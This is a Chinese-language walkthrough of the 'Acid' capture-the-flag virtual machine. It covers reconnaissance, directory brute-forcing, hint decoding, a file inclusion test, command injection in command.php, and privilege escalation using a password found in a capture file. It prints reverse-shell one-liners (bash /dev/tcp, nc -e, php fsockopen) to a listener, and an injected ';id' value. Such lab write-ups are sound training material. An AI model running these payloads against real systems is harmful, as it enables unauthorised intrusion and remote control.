靶機說明
Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.
歡迎來到酸的世界。童話故事需要使用秘密鑰匙打開魔法門。
目標
獲得root權限和flag。
運行環境
-
靶機配置:該虛擬機完全基於Web,提取rar並使用VMplayer運行vmx,網絡連接方式設置為net,靶機自動獲取IP。
-
攻擊機配置:同網段下有Windows攻擊機,安裝有Burpsuit、nc、Python2.7、DirBuster、御劍等滲透工具。
信息收集
-
ip發現
- 物理機kali ip為
啟用Acid虛擬機,由於網絡設置為橋接模式,使用Nmap掃描VMware Network Adapter VMnet8網卡的NAT網段,即可找到虛機IP,命令:
nmap -sP 192.168.1.1/24
獲得目標ip 192.168.1.104
-
端口掃描
使用nmap掃描1-65535全端口,並做服務指紋識別,命令:
nmap -p 1-65535 -sV 192.168.1.104
目標主機的33447端口發現web服務,web服務器是Apache2.4.10,操作系統ubuntu。
http://192.168.1.104:33447
進入主頁:
-
服務識別
只發現web服務和Apache,只能從web漏洞或者Apache漏洞入手(如有漏洞):
端口:Tcp 33447
底層服務:Apache2.4.10
操作系統:Ubuntu
漏洞挖掘的詳細思路
-
web挖掘思路:
(1) 查看每個網頁的源碼,看是否有提示;
(2) 暴破目錄,用御劍或DirBuster,看是否有新網頁,找新網頁的漏洞;
-
Apache挖掘思路:
(1) 尋找Apache2.4.10有無已知漏洞可利用:沒有發現可直接利用的漏洞。
(2) 到www.exploit-db.com查詢有無exp:沒有找到exp。
(3) Nessus掃描一下主機漏洞:沒有掃描出漏洞。
-
實在找不到漏洞:單用戶模式進入Ubuntu,看源碼吧。
-
步驟1:首先看主頁源碼,發現提示:0x643239334c6d70775a773d3d
0x是16進制編碼,將值643239334c6d70775a773d3d進行ASCII hex轉碼,變成:d293LmpwZw==
發現是base64編碼,再進行解碼,得到圖片信息 wow.jpg
這時可以根據經驗在首頁直接加目錄打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 網站的圖片目錄通常是這樣命名。
也可以利用dirbuster,御劍進行目錄爆破,得到圖片目錄images。
-
訪問
http://192.168.1.104:33447/images/wow.jpg
得到圖片:
-
將圖片保存到本地,用Notepad++打開,發現最下邊有提示
將3761656530663664353838656439393035656533376631366137633631306434進行ASCII hex轉碼,
得到 7aee0f6d588ed9905ee37f16a7c610d4,這是一串md5。
-
步驟2:使用Dirbuster進行目錄暴破:
突然發現標題是/Challenge
查看暴破結果:果然發現Challenge目錄,並且發現該目錄下有cake.php、include.php、hacked.php,用Burpsuit掛上代理,
使用Firefox然后依次訪問3個文件:
-
步驟3:訪問cake.php,發現需要登錄后才能訪問,但是標題的地方我們同樣發現了/Magic_Box:
點擊login,發現跳到了index.php 頁面,但是需要email 和 password才能登陸
-
步驟4:訪問include.php,這是一個文件包含漏洞頁面:
在輸入框中輸入 /etc/passwd 測試存在文件包含,Burpsuit顯示response包如下:
想文件包含拿shell,但沒有文件上傳點,之前發現的wow.jpg中無木馬可包含。先繼續看hacked.php。
-
步驟5:訪問hacked.php,需要輸入ID,測試下之前從wow.jpg解密出來的數字:63425
不過看來好像並沒有什么卵用
-
步驟6:找注入,把發現的幾個頁面都送入AWVS掃描了漏洞,未發現注入。
- 步驟7:繼續暴破發現的/Magic_Box目錄:發現low.php,command.php
- 步驟8:訪問low.php是個空頁面,訪問command.php,發現命令執行界面:
這讓人直接想起來命令執行漏洞,我們嘗試一波
可執行系統命令,輸入192.168.1.1;id 查看burpsuit的response發現id命令執行成功。
獲取shell
-
步驟9:利用php反彈shell。kali linux開啟nc,監聽4444端口:
為避免轉義和中斷,在get、post請求中輸入payload需要進行url編碼。嘗試bash反彈shell、nc反彈shell,如下payload都失敗:
bash -i >& /dev/tcp/192.168.0.112/4444 0>&1 nc -e /bin/bash -d 192.168.0.112 4444
通過php反彈shell成功,將如下payload進行URL編碼后,在burp中發送:
php -r '$sock=fsockopen("192.168.0.112",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
成功反彈shell
但是無法執行su命令,回顯su: must be run from a terminal 需要一個終端。
沒有想出辦法,最終google了一下,找到答案:用python調用本地的shell,命令:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py
提升權限
-
步驟10:查看有哪些的用戶
cat /etc/passwd
,發現需要關注的用戶有:acid,saman,root
-
步驟11:查找每個用戶的文件(不顯示錯誤)
find / -user acid 2>/dev/null
發現 /sbin/raw_vs_isi/hint.pcapng 文件,這是一個網絡流量抓包文件,用Wireshark打開:
scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.140:/root/
只看TCP協議的包,發現saman的密碼:1337hax0r
-
步驟12:su提權到saman、root,獲得flag
再使用sudo -i 提權到root,密碼同樣是1337hax0r,獲得位於root目錄的flag.txt。
靶場思路回顧
作者的設計思路可參考國外的一篇滲透文章:
http://resources.infosecinstitute.com/acid-server-ctf-walkthrough
主要突破點是:
1.兩次目錄暴破,第一次暴破出challenge,目錄、cake.php、include.php、hacked.php,第二次暴破Magic_Box目錄發現command.php。
2.發現命令執行界面后,用php反彈shell,在http中傳輸需對payload進行url編碼。
3.su提權需要一個終端,沒有經驗只能Google解決了。
4.提權的方法是通過查找已知用戶的文件,發現其密碼,未使用exp或msf提權。
總結
1.主要收獲:
(1)命令執行漏洞可使用php反彈shell, 以前都是用bash或nc。
(2)su提權需要一個終端,使用Python解決。
(3)獲得shell后,多多查找各個用戶文件,可能有新發現。
2.踩到的坑:
(1)文件包含漏洞,沒找到利用方式,也找不到上傳點,無法包含獲得shell;
(2)su提權需要一個終端,沒有知識儲備和經驗,依靠高手指導和Google搜索解決。
(3)index.php頁面獲得郵件用戶名和密碼的方法太冷門了,如果不是看國外的教程,自己無法想到。
(4)發現目錄就暴破下,使用御劍默認字典不行,只能使用OWASP的暴破字典,目錄暴破繞過了上面郵件用戶名和口令的登錄,可以一路暴破到命令執行頁面。
總之,在沒有google搜索和他人的指導下,自己沒能獨立完成,后續需要開闊思路,多多練習。